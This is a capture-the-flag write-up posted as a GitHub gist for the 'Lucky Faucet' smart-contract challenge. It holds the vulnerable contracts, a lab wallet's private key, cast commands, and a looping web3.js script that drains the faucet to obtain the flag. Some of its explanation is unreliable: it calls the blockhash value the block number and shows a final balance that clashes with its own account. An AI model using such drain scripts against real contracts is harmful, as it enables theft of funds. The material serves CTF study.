Skip to content

Instantly share code, notes, and snippets.

@dz-root
Created March 11, 2024 23:54
Show Gist options
  • Save dz-root/ed0ee99aec4ae8d852bc8e4dca84967d to your computer and use it in GitHub Desktop.
Save dz-root/ed0ee99aec4ae8d852bc8e4dca84967d to your computer and use it in GitHub Desktop.

alt text

Lucky Faucet

The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others. RPC: http://94.237.48.117:54356

Contract Address
Setup.sol 0x628da8D5236904971d1c3e4e555D4973185a6f44
LuckyFaucet.sol 0x5eEda650bA85247619b1495ebB8809c89f9e2633
Player Wallet Value
Wallet Address 0x9c5C8e467063885eeD0d610651BeeB66469630de
Private Key 0xa1fdcad4499906b0d59c05acc75d4ecd073d9199bfab02402e8ff4fbc69d1db1

1- Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}

1- LuckFaucet.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

Solve

LuckyFaucet.sol contract is initiated at 500 ether. We must spend at least 10 ether for Flag

// Setup.sol
uint256 constant INITIAL_BALANCE = 500 ether;
// ...
function isSolved() public view returns (bool) {
    return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
  • The sendRandomETH() method defined in the LuckyFaucet.sol contract takes two variables as parameters: upperBound = 100_000_000; and lowerBound = 50_000_000;

  • We can set these two variables with setBound() method.

# Example using Foundry - Cast
└─$  cast send --account FAUCET 0x5eEda650bA85247619b1495ebB8809c89f9e2633 --rpc-url http://94.237.48.117:54356 "setBounds( int64, int64 )" 50000000 60000000
  • upperBound and lowerBound are included in the equation that calculates the amount to be sent by the contract uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
  • randomInt is not really random, we could guess it because it return the number of the current Block int256 randomInt = int256(blockhash(block.number - 1))

Important

To be able to send transactions to the contract using cast, you need to add your wallet. cast wallet import FAUCET --private-key 0xa1fdcad4499906b0d59c05acc75d4ecd073d9199bfab02402e8ff4fbc69d1db1


TO SOLVE THIS CHALLENGE I decided to ignore upperBound and lowerBound AND mine as many blocks as possible to increase the amount of the tokens to be sent. Using web3.js I created an infinite loop that transact with the contract calling sendRandomETH() Method.

alt text

👉 SolveUsingWeb3.js

const { Web3 } = require('web3')
const web3 = new Web3('http://94.237.48.117:54356')
const luckyFaucetContractAddress = '0x5eEda650bA85247619b1495ebB8809c89f9e2633'

const luckyFaucetABI =[
  //...
]

const walletAddress = '0x9c5C8e467063885eeD0d610651BeeB66469630de';
const privateKey = '0xa1fdcad4499906b0d59c05acc75d4ecd073d9199bfab02402e8ff4fbc69d1db1';
const luckyFaucetContract = new web3.eth.Contract(luckyFaucetABI, luckyFaucetContractAddress);

async function sendRandomETH() {
    try {
        const transaction = luckyFaucetContract.methods.sendRandomETH()
        const gas = await transaction.estimateGas({ from: walletAddress })
        const data = transaction.encodeABI();
        const nonce = await web3.eth.getTransactionCount(walletAddress, 'latest')
        const maxPriorityFeePerGas = '1000000000'
        const maxFeePerGas = '1000000000'

        const signedTransaction = await web3.eth.accounts.signTransaction({
            to: luckyFaucetContractAddress,
            data,
            gas,
            maxPriorityFeePerGas,
            maxFeePerGas,
            nonce,
            chainId:'31337'
        }, privateKey);

        const receipt = await web3.eth.sendSignedTransaction(signedTransaction.rawTransaction)
        console.log('Transaction soumise avec succès:', receipt.transactionHash)

    } catch (error) {
        console.error('Une erreur est survenue:', error)
    }

    sendRandomETH() 
}

sendRandomETH() 

Run the script and wait ~ 15 mins Around the block number 5000 I spend more than 10 ether, and this completes the isSolved() condition to get the flag. We can check the balance of th LuckyFaucet contract using cast:

└─$ cast balance  0x5eEda650bA85247619b1495ebB8809c89f9e2633 --rpc-url http://94.237.48.117:54356
1.23

alt text

└─$  cast call 0x628da8D5236904971d1c3e4e555D4973185a6f44 --rpc-url http://94.237.48.117:54356 "isSolved(bool)"
true

🚩 HTB{1_f0rg0r_s0m3_U} 🚩

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment